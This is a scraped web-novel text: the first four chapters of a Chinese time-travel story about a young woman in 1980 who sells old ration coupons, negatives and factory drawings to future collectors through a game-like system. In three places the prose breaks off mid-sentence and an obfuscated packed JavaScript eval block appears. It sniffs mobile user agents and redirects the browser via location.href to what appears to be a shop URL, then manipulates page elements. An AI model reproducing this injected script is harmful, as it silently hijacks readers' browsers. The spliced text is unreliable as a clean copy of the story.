《我暴富后大佬找我奔现了》 1. 第 1 章 安玥是被一阵钝痛惊醒的。 她的后脑勺似乎遭受了重创,眼前一片模糊。 她撑起上半身,视线逐渐清晰。四周是糊着旧报纸的墙壁,角落堆着几只麻袋,唯一的家具是掉漆的木桌和一把瘸腿椅子。窗玻璃裂了一道缝,用胶布粘着——这绝不是不她那间加班到凌晨的写字楼隔间。 记忆断了片,最后停留在电脑屏幕刺眼的白光和心脏的一阵阵抽痛。 熬夜?猝死?那这里是哪儿? 又硬又冷的触感从身下的土炕传来,她身上是一件补丁叠补丁的旧棉袄,一股霉味扑面而来。 她踉跄下炕,走到桌前一面水银斑驳的破镜子前。 镜面上映出一张熟悉又陌生的脸。是她的五官,却苍白瘦削,十八九岁的模样。 穿越了?这个词蹦进脑海。还没等她细想—— 【警告:用户时空坐标异常。错误坐标:华国,旧历1980年。】 一个机械音响起。 安玥顿时汗毛倒竖:“谁?!” 没有回应,只有视野里突兀跳出的淡蓝色小字: 【用户生存时限:71:59:47】 它像是某种倒计时,一秒一秒递减跳动着。 没等安玥搞清这倒计时的含义,头顶忽然传来“咔嚓”一声脆响。 她猛地抬头,房梁上一根椽子突然断裂,带着瓦片和尘土冲她当头砸下! 求生的本能让她向旁边扑倒。 “轰——!” 碎木和瓦砾砸在她刚才的位置上,灰尘弥漫, 安玥惊惧地趴在地上,刚才那一幕吓得她心脏狂跳。 就在这时,机械音再次响起: 【首次排异反应结束。危险等级:轻度。】 排异?反应?安玥脑子里一团乱麻。 【由于用户的异常加入,当前世界规则对异物存在自发排斥,排斥强度将于72小时后达到致命级。】 和安玥猜测得差不多,这倒计时就是她的生命余额。这个世界正在用意外抹杀她这个不该存在的异物。 她爬起来拍掉身上的灰,肾上腺素飙升带来的应激反应让她此刻异常清醒。 不能慌,慌没用,也不能死。 “我该怎么阻止这些意外?”她冲着空气喊道,声音也有些发颤。 眼前光幕展开,出现了一个界面,顶端写着【新纪元联邦交易系统】,下面只有一个亮着的选项:【商城】。 她点开,寥寥几件商品列在眼前。排在第一的是: 【初级24小时防护Buff:纪元币兑换,可抵消轻度排异反应。】 纪元币?那是什么? 【此系统可协助用户将当前时空的物品,出售给新纪元联邦的公民,以换取纪元币。】系统似乎检测到她的疑问。 “卖给……谁?他们在哪儿?” 【新纪元联邦,存在于你原生时间线后的新纪元。】 安玥愣住了。她,一个越到八十年代的现代人,要卖东西给新纪元的人,来买命? 她看向这间破屋,又看向地上那几件寒酸的破烂……这简直荒谬到让她想笑。 这个家穷得叮当响,她能卖什么? 【价值需要发现,请将物品置于地面发光区域进行评估。】 屋内空地上,亮起一个淡蓝色的光圈。 看着生存倒计时,求生的欲望压倒了荒谬感,安玥试着在屋内翻找起来。 炕头的木箱里是几件破衣服,补丁摞补丁。墙角麻袋里装着半袋玉米面,已经生了虫。掉漆的里只有两个豁口的碗,筷子只剩三根。 “这也太干净了……”她累得气喘吁吁。 最后,她在炕底下摸到一个铁皮铅笔盒。里面有五张泛黄的粮票,一支秃头铅笔,还有一个红色塑料皮的笔记本,里面是空的。桌上有个磕掉瓷的搪瓷缸,印着“劳动光荣”四个字。 “就这些了。”她把粮票、笔记本和搪瓷缸放进光圈。 蓝光扫过三件物品。 【物品评估中……】 【粮票:旧历年代物资凭证,稀缺度:中低。】 【空白笔记本:价值极低。】 【搪瓷缸:旧历年代生活器物,稀缺度:中。】 【预估起拍价:80纪元币。是否上架物品?系统将收取最终成交价10%作为手续费。】 “10%?这么黑?!”安玥她忽然停住,系统面板上,【上架】按钮旁有个小图标,其中两个标注着:【添加描述】。 巧的是,安玥前世的职业就是把普通的东西包装出价值。 她点开说明。 【添加描述】:为物品编写背景故事,增强情感价值。 “情感价值……”安玥一边低声重复,一边思索着。 1980年的粮票,在未来算什么?废纸吗?但如果它不只是一张纸呢? 安玥简单思索了一下,在【描述】栏里快速输入: 粮票:计划经济的生存凭证,记录着配给制的温度; 笔记本:可能用于记录技术学习、生活账目,也许上面规划着它的主人未曾写出的理想; 搪瓷缸:一个旧历人民的饮水器物,体现着劳动生活的真实触感。 写完后,她自己读了一遍。 行不行不知道,但总比干巴巴地卖破烂强。 【描述添加完成。预估起拍价:200纪元币。是否上架?】 “200?”安玥眼睛亮了——包装的力量,立竿见影。 “上架!” 【拍卖发布至怀旧纪元分区。预计结拍时间:1小时。】 这时,饥饿感和寒意一起涌上来,她得做点什么,不能干等。 于是她在屋里又翻找一圈,确认再无长物后,推门走进院子。 这是一个典型的北方小院,泥土垒的院墙看起来很破败,院门虚掩着。 一墙之隔,却是另一番光景。邻居家收音机的音量开得有点大,广播声隔着土墙传过来。远处有自行车的铃铛声,还有人扯着嗓子喊:“换豆腐嘞——” 这个世界是真实的,而她还剩不到3天的生存时限。 安玥焦虑地在院里转悠,扒开柴火堆,查看废弃的鸡窝,甚至检查了那口用旧轱辘摇水的井,一无所获。 安玥饿得肚子咕咕叫。她回到屋里,翻开角落里的麻袋,舀了半碗玉米面,把里面的脏东西吹了吹捡了捡,就着缸里撇去杂质的水搅和搅和放进锅里。用灶台生火,她折腾了十几分钟才点着,浓烟呛得她流泪。 终于煮了一碗玉米糊,没有盐,没有油。 她端着碗坐在门槛上,隔壁飘来炒菜的香气,是葱花炝锅的味道。她咽了咽口水,低头喝了一口没滋没味的糊糊。 这就是她接下来的人生吗?饿死,或者被意外杀死? 正想着,系统弹出拍卖结束的提示:。 安玥抬头去看系统面板。 【粮票、笔记本、搪瓷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035557|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缸拍卖结束。】 【成交价:5200纪元币,扣除10%手续费,余额:4680纪元币。】 “多少?”她瞪大眼睛。 到手价4680,起拍价200,翻了二十多倍! 下面紧跟着的最后五轮竞价的过程记录: 【用户“aa”出价:3100纪元币】 【匿名用户出价:3500纪元币】 【用户Z出价:4200纪元币】 【用户“时光猎人”出价:4800纪元币】 【用户Z出价:5200纪元币】 “竞争这么激烈?”她点开拍卖页面下方的留言区: “泪目了,我家赛博祠堂里就有一个这样的搪瓷缸……” “描述写得太好了!我差一点就抢到了。卖家下次上新求@!” “粮票的品相很好,但描述溢价太高了,理性消费理性消费。” 在一众留言中,一条留言引起了她的注意: 用户Z:卖家描述专业,物品组合有巧思。如方便,是否可告知后续上新计划? 她正思考如何回复,系统突然弹出新提示: 【检测到单次交易额突破5000纪元币,VIP功能已解锁。您现可创建VIP客户名单,为特定买家提供:提前预览、专属预订、需求定制等服务。VIP客户需每月支付5000纪元币,您需履行相应服务承诺。】 安玥眼睛一亮,这不就是会员制和私域吗? 此刻她手头的纪元币只有4680,离购买防护Buff还差一半多。扫了眼商城里的其他商品,她快速做出决定。 她回复了用户Z:“感谢认可。我正在整理新一批物品,约24小时后上架。将优先通知VIP客户,您是否需要开通VIP服务?” 恢复完,她又将同样的话术发给了另两位竞价活跃的用户。 紧接着,系统提示弹出: 【用户Z已成为您的首位VIP客户,并已支付5000纪元币。】 【账户余额9680纪元币】 安玥立刻打开系统商城,之前标价10000纪元币的【初级24小时防护Buff】还在,钱还差一点。 但商城里还有别的东西: 【旧物价值扫描券(单次):3000纪元币】 【基础清洁/修复服务(单件):100-500纪元币】 【沉浸式记录模块(可录制物品修复过程):500纪元币】 安玥迅速心算。 扫描券必须买,这可是寻宝雷达。清洁服务能让破烂增值。记录模块……如果修复过程能作为商品附加值呢? 她果断下单:扫描券×1,清洁服务×1,记录模块×1。花费4500纪元币。 目前余额5180。 【扫描券已使用。正在评估当前区域……】 蓝光以她为中心扩散,扫过整个屋子和院子。几秒钟后,系统提示: 【扫描完成。发现潜在高价值物品:】 【1.炕桌:清洁前价值预估800-1200纪元币,清洁后价值预估3000纪元币。】 【2.铁门闩:价值评估:900-1500纪元币,清洁修复后价值预估1500纪元币。】 【3.水井轱辘:修复成本过高,不建议。】 【4.墙缝内疑似有金属物品(需探查)】 安玥眼睛亮了,那些破烂还挺值钱。 2. 第 2 章 她的目光停在炕桌上。 就是它了。 她将炕桌拖到空地,先激活【沉浸式记录模块】,然后选择【深度清洁服务】。 眨眼间,炕桌上的陈年污垢、油渍飞快剥落消散,露出木材原本的色泽,桌角的雕花也显现出来。 整个过程被完整记录。 安玥打开记录回放:十五秒的视频里,一张破旧炕桌焕然一新,木纹渐显的过程有种奇特的治愈感。 她重新上架。 这次,她添加了视频附件,在描述栏写道:时空清洁技术展示,旧历北方炕桌的重生实录。物品已清洁,雕花完整显露,附清洁过程全记录。 定价策略她改了:不设起拍价,但设了一口价5000纪元币,并设置VIP客户可提前10分钟出价。 她倒要看看VIP客户的购买力,也顺便看看视频附加值的效果。 上架瞬间,系统提示: 【您的VIP客户Z已查看商品。】 十秒后。 【Z出价:5000纪元币。交易达成。】 【扣除手续费,实收4500纪元币。当前余额:9680纪元币。】 安玥点开【初级24小时防护Buff】的购买键,花费10000纪元币. 等等,余额不够? 她皱眉,随即发现Buff价格下多了一行小字:首次购买可分期支付。首付:3000纪元币,剩余7000需在24小时内结清,否则防护失效。 ……这系统还带分期贷的? 但没得选。她支付首付,余额跌至6680。 【防护已生效。剩余生效时间:23:59:59。】 几乎在提示出现的同时,轰隆一声。 院墙外传来巨响,接着是人的惊叫声和脚步声。 安玥冲出门,只见自家院墙靠西的一段,也就是离她的床一墙之隔的院墙塌了半米多,碎土碎砖砸在隔墙上,还散了一地。几个邻居围在那里,指指点点。 “安玥!安玥在家吗?” 安玥摸黑走到墙边:“我在我在!” 一个五十来岁的女人站在塌了的墙外,是街道王主任,她手里拿着手电筒。她身后还跟着两个穿制服的年轻人。 王主任用手电筒照了照她的脸,“安玥丫头,你人没事吧?” “王主任,我没事。”她让声音尽量显得平静,“就是吓了一跳。” “人没事就好。”王主任叹了口气,“不过这墙你得修啊。街道上可以帮你联系施工队,但材料钱和工钱得你自己出。估摸着得二三十块吧。” 是这个时代的二三十块,可她现在身无分文。 “我知道了,谢谢王主任。” 周围传来议论声: “这墙好好的怎么塌了?” “吓死人了,差点砸到老李头!” “安玥这丫头也是可怜,爹妈走得早,现在房子也……” 送走街道的人,安玥看着那堆废墟后背发凉。 这不是意外。 这显然是世界规则的排异反应,虽然她有防护Buff,但只是抵挡轻度排异。刚才这次,显然超出了轻度范围。 世界在加速修复她这个bug。 她需要这个时代的钱——华币,同时也需要系统的纪元币。 安玥看着系统里6680纪元币的余额,目光落在了界面一角。之前她只盯着防护道具,现在仔细翻找,发现了一个不起眼的功能:跨时空小额物资兑换。 说明写着:可消耗纪元币,兑换微量符合当前时空科技水平的物资或本地货币,汇率极高,仅建议应急。 “小额……有多小?”她尝试操作。 界面弹出:【1元华币=100纪元币)】 安玥倒吸一口凉气。1元华币要100纪元币?这汇率简直是抢钱!她现在的纪元币全部换成华币也就66块8毛。 修墙的二三十块倒是够了,但之后呢?防护Buff的分期贷怎么办? “不能兑。”安玥否定了这个念头,“至少不能全兑。” 她需要用少量的华币撬动大量纪元币。 夜深了,安玥回到屋子里。 她打开系统面板,点进公共频道。公共频道每天可免费浏览10分钟,她一秒都不敢浪费。 眼前瞬间刷过无数条信息: “求购旧历家庭影像、胶片、录像带、甚至模糊照片都可以,价格面议!” “急需工业化早期的手工图纸原件,纺织机械优先!” “收旧历年间手写文字的旧物,字迹越清晰越好!” “出23世纪便携防护力场发生器,九成新,换21世纪初完整城市航拍底片!” 未来人在聊天、用词、语气都和她熟悉的网络世界很像。 安玥看了几分钟,大致明白了:未来的人收购过去的东西,有的是为了收藏,有的是为了研究,有的可能就是图个新鲜。但他们刚想要的是老物件承载的信息,尤其是视觉和文字信息。 她熄灭蜡烛,躺在炕上。 黑暗里,生存倒计时静静跳动着。 明天,她要出门去采购老物件,然后用她的包装话术,把它们卖到高价。 第二天一早,安玥是被饿醒的。 她爬起来,从墙角麻袋里舀出一点玉米面,掺水搅成糊,煮开当早饭。 垫了垫肚子,她打开系统面板。余额6680纪元币。她盯着兑换比例,最终咬牙兑换了40元华币,消耗4000纪元币。 余额剩2680。 “这是启动资金。”她对自己说,“必须赚回来。” 她把四十块钱小心藏在内衣口袋,然后去了昨天蓝光扫描到疑似有金属物品的那个墙缝跟前。 安玥在墙缝里摸到一个小布包。打开,是三枚带绿铜锈的圆形方孔钱。但她暂时不打算卖。这是压箱底的货,得用在刀刃上。 她拎起角落的半袋玉米面,又拿了三两件补丁最少的旧外套走出了家门。 根据原身的记忆和刚才的广播声,她朝着自由市场的方向走去。 八十年代初,一些农贸市场已经出现。地方不大,人却不少,多是附近村民拿自家多余的鸡蛋、蔬菜、编的筐篓来换点零钱。 安玥找了个角落,把玉米面口袋打开,旧衣服铺在地上。她没像别人那样吆喝,只是安静地蹲着,观察着来往的人。她的穿着和苍白瘦弱的样子,本身就挺惹人注意。 很快,一个大婶走过来,扒拉了一下玉米面:“妹子,这面生虫了,咋卖?” “大姐,虫挑挑还能吃,给你便宜。连袋子您给三块钱就行。”安玥按照记忆里的物价,往低了说。 大婶撇撇嘴:“两块!这衣服搭一件!”她指着一件灰色的。 “行。”安玥爽快答应。她现在需要的是启动资金,不是计较块八毛的时候。 第一笔收入:两元华币。 接着,一个看着像工人的中年男人看中了另一件旧工装外套,“五毛,卖不卖?” “卖。” 第二笔收入:五毛。 玉米面被另一个老太太五毛钱买走。 一个多小时,她到手三块钱。 做完这些,她出门在附近找了个正在帮别人家修灶台的零工师傅,谈好用最便宜的红砖和土坯,三十块钱包工包料,下午来修墙。预付了三块钱定金。 安玥起身,在市场里转悠。卖菜的、卖鸡蛋的、卖竹编的……直到她在角落看见一个地摊。 一块破布上,散乱堆着旧书、报纸、泛黄的纸片,还有几个铁皮盒子。 摊主是个戴眼镜的老头,正拿鸡毛掸子掸灰。 安玥蹲下来,假装翻看一本手册。余光却在扫那些纸片——大多是废账本、过期的票证,没什么价值。 直到她看见铁皮盒子。 那是两个印着红梅图案的香烟铁盒,边角锈蚀了。她拿起来,打开。 第一个盒子里是些纽扣、顶针之类杂物。 第二个盒子里面是几十张黑白的照相底片,用油纸隔着,还有两卷未冲洗的胶卷。 “大爷,这些怎么卖?” 老头抬抬眼皮:“底片啊?都是废片,没人要了。你要的话,连盒子一块,给五毛钱拿去。” 五毛。 安玥没还价,直接掏钱。又指着旁边一堆泛黄的、卷边的图纸:“那些呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035558|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “工厂淘汰的图纸,按斤称,一斤一毛钱。你要多少?” 安玥快速估算。那堆图纸大概十几斤。 “全要了。” 老头愣了一下:“全要?那可得好几块钱!” “帮我捆一下,我待会儿来拿。”安玥付了两块钱定金,“我先去办点事。” 她抱着铁盒离开市场,拐进一条无人的小巷,立刻打开系统。 【扫描目标物品。】 蓝光扫过铁盒内的底片和胶卷。 【评估完成:】 “35张旧历家庭生活影像底片,时间跨度大,信息密度高,历史情感价值高,稀缺度中高级。” 她又扫描那堆还没到手的图纸。 【评估中……】 “旧历轻工业机械手绘图纸,主要为纺织机械零件图、装配示意图。包含大量手写标注、修改痕迹、技术人员签名。 信息密度极高。技术史料价值极高。 注意:部分图纸受潮,字迹模糊。建议修复后出售,价值可提升300%以上。” 修复? 单次清洁100纪元币,修复要500。 她现在余额2680纪元币,而图纸有上百张。 她买不起昂贵的修复服务,但注意到【基础清洁服务】旁有行小字:“可去除纸质物品表面污渍、潮斑,部分恢复字迹清晰度。” 她花了2000纪元币买了20次基础清洁,又花了500纪元币补购一个【沉浸式记录模块】——她要把修复过程也录下来,作为增值卖点。 余额还剩180。 这时,系统提示音响起: 【您有新的私信。】 是Z。 “有新货吗?” 安玥回复:“还在筹备中。这次是影像资料和技术图纸,需要整理。” Z的回复很快:“影像资料,尤其是家庭生活类,溢价空间大。图纸需确保技术细节清晰。整理完成后记得发我预览,价格可谈。” “明白。”安玥关掉对话框。 Z是个有潜力的客户,但不能只依赖他。她需要建立自己的销售全流程。 她返回市场,付清尾款,老头好心给了她一条麻绳捆着。她扛起那捆图纸,路人频频侧目。 但她像抱着宝贝。 回家路上,她特意绕到修墙的地方。工人已经来了,正在和泥。她把三十块钱工钱付清,说好傍晚验收。 回到小院,关上门。 安玥顾不上灰尘,立刻开始忙活起来。 她先将底片对着光一张张看。有些是全家福,有些是孩子独照。她按时间和主题粗略分类。 接着,她选出二十张品相最好、字迹最清晰的图纸,其余的暂时堆放。 随后,她启动记录模块,然后对选出的二十张图纸逐一使用【基础清洁】。 蓝光拂过,纸张上灰色的潮斑渐渐淡化,模糊的钢笔字迹变得清晰,原本晕开的墨水线条收拢复原。整个过程被完整录制。 二十张图纸清洁完,效果立竿见影。 最后,安玥开始包装上架了。 她先选了五张最具故事感的底片:一张是年轻夫妇抱着婴儿在公园;一张是女工在纺织机前回头笑;一张是巷子里的孩子们在跳皮筋;一张是百货商店橱窗;一张是工厂大门前的集体照。 她将五张底片打包,并在描述栏里输入:五张原底片,记录一个普通家庭与城市的五年片段。包含旧历生活的五个切面。附专业时空清洁,影像细节完好,独家资源,仅此一套。 她设了拍卖,起拍价5000纪元币,竞拍时长1小时。并勾选了向VIP客户提前展示,允许匿名竞价。 安玥做完这些,准备上架图纸。她选了三张最完整、标注最细的纺织机图纸,给它们添加描述:纯手工绘制,含大量现场修改笔记、技术员签名。研究早期工业化进程的珍贵实物资料,附清洁过程实录,绝版。 这套图纸,她大胆设了一口价8000纪元币,同样提前对VIP客户展示。 她要看看,市场会给出什么价格。 商品上架。 她把全部身家都押上去了,成败在此一举。 3. 第 3 章 安玥关闭面板,强迫自己不去看。 她出门去付了修墙的三十块钱,看着工人开始和泥砌砖。然后回来坐在凳子上盯着拍卖界面。 底片套组目前无人出价。图纸一口价更是静静挂着。 时间一分一秒过去。 终于,第一声提示音响起。 【VIP客户Z已查看您的商品。】 几乎同时,两条提示接连弹出: 【您的底片有人出价。】 安玥点开。 当前出价:5500纪元币。出价者:匿名。 十分钟后,竞价开始疯涨。 6000——匿名。 6500——用户“时光猎人”。 7000——匿名。 8000——用户“怀旧档案局”。 9000——匿名。 10000——Z。 但这才开始,价格一路攀升。 12000——匿名。 15000——“怀旧档案局”。 18000——Z。 20000——匿名。 25000——“时光猎人”。 30000——Z。 三万了,是起拍价的六倍! 竞拍界面右侧的围观人数在不断增加:102人、345人、678人……突破1000。 公共频道开始出现相关讨论: “疯了吧?五张底片拍到三万了!够买一套23世纪民用防护服了!” “你不懂,带编号和注解的原始影像档案有多稀罕!这卖家是专业的!” 马上又有新的出价弹出来: 32000——匿名。 35000——Z。 38000——“怀旧档案局”。 40000——匿名。 安玥手心全是汗。她看着Z的出价被一次次超越,那个纯黑的头像在竞拍列表里起起落落。 最后十分钟,变成Z和“怀旧档案局”的对决。 50000——Z。 55000——怀旧档案局。 70000——Z。 80000——怀旧档案局。 八万!围观众人都在发惊呼的表情。 倒计时最后一分钟。 Z出价:90000。 怀旧档案局沉默。 最后三十秒,无人出价。 最后十秒,无人出价。 5……4……3…… 就在安玥以为要结束时,“怀旧档案局”忽然出价95000。 系统立刻进入最后5秒的延时阶段——这是防止狙击的规则,任何最后5秒内的新出价,都会重置一个5秒倒计时。 新的5秒开始:5……4……3…… 这时,Z的头像旁“正在出价……”的提示闪烁了三秒,然后头像忽然暗了下去。 所有人都屏息等待。 在最后2秒,Z的头像重新亮了,出价也随之弹出来了:100000。 就在这价格刷新的一刹那,拍卖界面突然卡顿了一下,紧接着一条系统公告在所有参与者屏幕上弹出: 【全域通知:检测到瞬时数据流超载,正在启动负载均衡,部分非关键数据包可能丢失或延迟,持续0.5秒。】 当界面恢复流畅时,倒计时已然归零。 成交价显示:95000纪元币。 竞得者:怀旧档案局。 Z那最后一秒的出价消失了。 公共频道瞬间炸锅: “刚才是不是卡了?我好像看到Z出到100000了?” “系统公告说数据流超载,Z的出价可能正好撞上了。” “这……这算系统BUG吧?能申诉吗?” “Z实惨……” 安玥也愣住了,她还没从这场竞价中回过神,图纸拍卖的提示又响起来: 【您的图纸有人出价。】 起拍价15000,瞬间被抬到50000。 这次竞争更激烈。出价者ID五花八门:“机械考古学会”、“私人博物馆001”、“工业史学者”、“匿名”、“匿名”、“Z”…… 价格像坐了火箭: 60000。 70000。 75000。 90000。 Z再次加入竞拍,但他的出价很快被淹没。 100000——机械考古学会。 110000——私人博物馆001。 130000——Z。 135000——匿名。 140000——机械考古学会。 围观人数突破5000人。 公共频道疯狂刷频: “十四万买一叠旧纸?!这世界疯了!” “那是手绘原稿!带六个人签名!你懂不懂这相当于找到了六个古人的亲笔书迹!” “卖家是谁?这包装手法绝对是职业文物贩子!” “机械考古学会的年度预算才二十万,这是砸锅卖铁了!” 最后时刻,Z出价150000。 机械考古学会:155000。 倒计时再次进入最后5秒延时。 5……4……3…… Z再次在最后时刻出价:160000。 价格再次刷新。 5……4……3…… 就在所有人都以为Z这次稳了的时候,安玥院外传来不小的动静,紧接着系统界面也随之闪烁了一下。 是修墙的工人不小心把一小车砖弄翻了,砸出了不小的动静。 当界面稳定,倒计时再次归零。 成交价显示:155000纪元币。 竞得者:机械考古学会。 Z最后的的出价,又一次在确认的最后一瞬消失了。 公共频道已经从震惊转为了一片对Z的同情。 “不是吧……又来?” “Z今天是不是出门没看赛博黄历?” “这已经不是非酋了,这是被命运扼住了喉咙……” 【全部商品交易完成。】 底片套组:95500纪元币×0.9=85500 图纸套组:155000纪元币×0.9=139500 合计:225000纪元币 拍卖结束的提示音还在耳边回荡,安玥看着账户里225180纪元币的巨款,有种强烈的不真实感。 她不仅还清了分期贷款,还一口气购买了足足十天单价两万的高级防护,生存压力骤然减轻。 就在她准备关掉系统面板,去查看院墙修复进度时,一连串密集的提示音地响了起来,让她差点以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035559|194627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是系统出了bug。 【系统提示:用户“时光猎人”申请成为您的VIP客户,并已支付5000纪元币。】 【系统提示:用户“机械考古学会”申请成为您的VIP客户,并已支付5000纪元币。】 【系统提示:匿名用户(编号7749)申请成为您的VIP客户,并已支付5000纪元币。】 【系统提示:用户aa申请成为您的VIP客户,并已支付5000纪元币。】 …… 有不少人在在拍卖结束后开通了VIP服务, 她立刻点开公共频道和拍卖页面的留言区,果然已经讨论起来了: “看到没?底片九万五,图纸十五万五!这卖家绝对是专业级别的文物发掘者!” “何止专业,那描述、那包装、连清洁过程都录下来当附加值卖,这营销策略……” “我怀疑是哪个博物馆或者私人收藏会的专业采购,披着马甲上来试水的。” “肯定是啊,普通人哪能一下子拿出这种成色、并且主题这么集中的好东西?还有那么专业的清洁服务可用?” “开通VIP了!下次有好货求优先踢我好吗!” “同开通,这卖家货源和眼光都是一流,跟着肯定能捡到漏。” 几乎所有人都默认,这个系统默认初始名的卖家,是新纪元某个精通旧纪元遗物发掘的专业人士。 毕竟,能如此娴熟地运用增值手段,并能提供稀缺货源,这符合他们对同行高手的想象。 安玥看着这些评论,心下稍安。这个误会很好,正是她需要的。 她点开了Z的私信窗口。两次在最后关头出价失败,这位客户恐怕需要一些安抚。 她斟酌了一下语气,在对话框中输入:Z先生,对于您在最后时刻的出价未能成功确认,我表示遗憾。这并非出于我的本意,也超出了我能控制的范围。作为我的首位VIP客户,您的支持我一直记着。下次如果有更适合您收藏方向的物品,我会在提前预览时,特别为您留意。 消息发出后,很快有了回复。 Z的头像旁显示出“正在输入……”的提示,片刻后,文字传来,语气看上去并没有气急败坏,反而带着略显无奈的温和:没事,是我运气不好。你的物品筛选和描述能力确实出色,是我自己低估了其他竞争者,出价策略可以更果断些。 对方的话让她稍稍放松,她继续回复:您能理解就好。我相信以您的眼光,下次一定会有所斩获。 她随后又补充了一句:另外,Z先生,您的VIP服务期限是从开通日开始计算一个月。如果您有长期的收藏需求,可以考虑续费。当然,这完全取决于您的意愿。 消息发过去后,安玥有些忐忑。 几秒钟后,系统提示:您的VIP客户Z已续费服务,时长:12个月。支付金额:60000纪元币已到账。 与此同时,Z的回复弹了出来:期待你的新品上架。 【当前账户纪元币余额更新:161680。】 安玥看着这行提示,心底松了口气,随即涌上一丝小小的成就感。 看来提供情绪价值加上稀缺的货源,是维系高端客户的关键。这位Z先生,不仅脾气好,出手也相当阔绰,是个非常理想的长期客户。 关掉与Z的对话窗口,安玥摸了摸肚子。好饿,她需要提升一些生活质量。 4. 第 4 章 安玥是被窗外的脚步声惊醒的。 那脚步在凌晨灰蒙蒙的天色里,在她新修的院墙外徘徊。 她屏住呼吸,一动不动地听着。 脚步声停了一会儿,又窸窸窣窣地响起来,逐渐远去。 安玥直到确认外面彻底安静了,才缓缓吐出一口气。十天的高级防护Buff让她暂时免于被这个世界抹除掉,但防护不了人心。 她坐起身,饥饿感袭来。厨房角落里那个麻袋已经空了,最后一点玉米面昨天被她换成了三块钱。 账户里有十六万纪元币的巨款,现实口袋里却只剩下九块七毛。 等天色渐渐亮起,晨光照进屋里,安玥才起了床。 出门前,她仔细检查了昨晚用修墙的废料改造的门闩——粗木棍斜顶,铁钩挂着铁丝。推了推,纹丝不动。这是个开始。 一小时后,天色大亮,街坊邻里开始活动。安玥拎着个小布包回到小院。 九块七毛钱的购买力有限,但她精打细算地换来了生存的必需品:一毛钱的碎挂面,五分钱的蔫巴小白菜,八分钱的酱油、盐和一小块猪油。经过副食柜台时,她犹豫了三秒,花了一块二毛钱买了一斤猪板油。长期营养不良的身体需要脂肪,脑子也需要能量。 总共花了一块四毛三,还剩八块两毛七。 经过巷口时,住在隔壁院的赵婶正端着盆水出来倒,看见她手里的东西,眼睛亮了亮:“安玥丫头,买猪油啦?这可稀罕。” 安玥停下脚步,脸上挤出原主那种怯生生的表情:“赵婶早……我、我实在没力气,想着补补……” “是该补补,看你瘦的。”赵婶上下打量她,目光在她脸上停了停,“昨天修墙花了不少钱吧?哪来的钱啊?” 安玥垂下眼,声音更小了:“把……把我爸妈留下的两件旧呢子外套,托人拿到市上卖了。”这是她早就想好的说辞。原主父母确实有件像样的旧外套,但早就被远房亲戚拿走了。不过这种细节,外人不会知道。 赵婶“哦”了一声,眼神里的探究淡了些,转而变成一种同情的神色:“也是难为你了。以后有啥难处,跟婶子说啊。” “谢谢赵婶。”安玥点头,快步走回自家院子。 关上门,她把耳朵贴在门板上。过了十几秒,听到赵婶嘀咕着“也是个没福的……”走远了。 撒谎不难,难的是圆谎。一笔来路不明的钱,在这个年代足够毁掉一个孤女。她必须尽快建立一个看似合理的经济来源,哪怕只是做给外人看的幌子。 她回到小院,关上门。 点火,烧水,炼好猪油装搪瓷盆里,再在锅里烧开水把碎挂面下进去,用筷子搅散。等面快熟时,把洗过切碎的小白菜叶子扔进去烫一下。 在空碗里放入一勺炼好的猪油渣,又倒入一点点酱油,撒上几粒盐。 面煮好了,连汤带面冲入碗中。瞬间,猪油融化开来,在汤面绽开一小圈油花,酱油的酱色随之晕染开,混合着猪油特有的荤香热气升腾起来。 一碗热面下肚,安玥苍白的脸上终于有了点血色。 也许是安玥的心理作用,她自从买了十天的高级防护Buff,周身那股若有若无的威胁感也消散了大半。 吃完饭,已是上午。安玥在收拾灶台时,后脑勺忽然传来一阵隐痛。她下意识摸了摸,指尖触到一个已经结痂的伤处。 穿来时的钝痛记忆浮现。原主是怎么受伤的? 她努力回忆,但原主最后几天的记忆非常模糊,像蒙着一层雾。只隐约记得天黑了,她好像从外面回来,心里很慌,然后……就是一片空白和跌倒的撞击感。 是被人袭击了?还是自己不小心摔倒撞的? 如果是袭击,是谁?为什么?原主一个孤女,有什么值得被袭击的?劫色?还是…… 安玥感到一阵后怕。这个世界对她的恶意,不仅来自世界规则,还可能来自潜伏在暗处的人。 她必须更加小心。 安玥摸着后脑勺,仔细梳理着原主的身世:原主也叫安玥,今年刚满十九。父母在她十岁那年冬天,因厂里一起事故双双离世,抚恤金不多,房子是厂里分的宿舍平房,勉强没被收走。她靠着微薄的抚恤金和邻居们这家一口饭,那家一件旧衣服的接济才磕磕绊绊长大。 街道和居委会偶尔关照,邻居里心善的婶子大娘,会让她帮忙干点零活,然后给她一口吃的,或者一件旧衣服。 但并非所有人都心存善意。 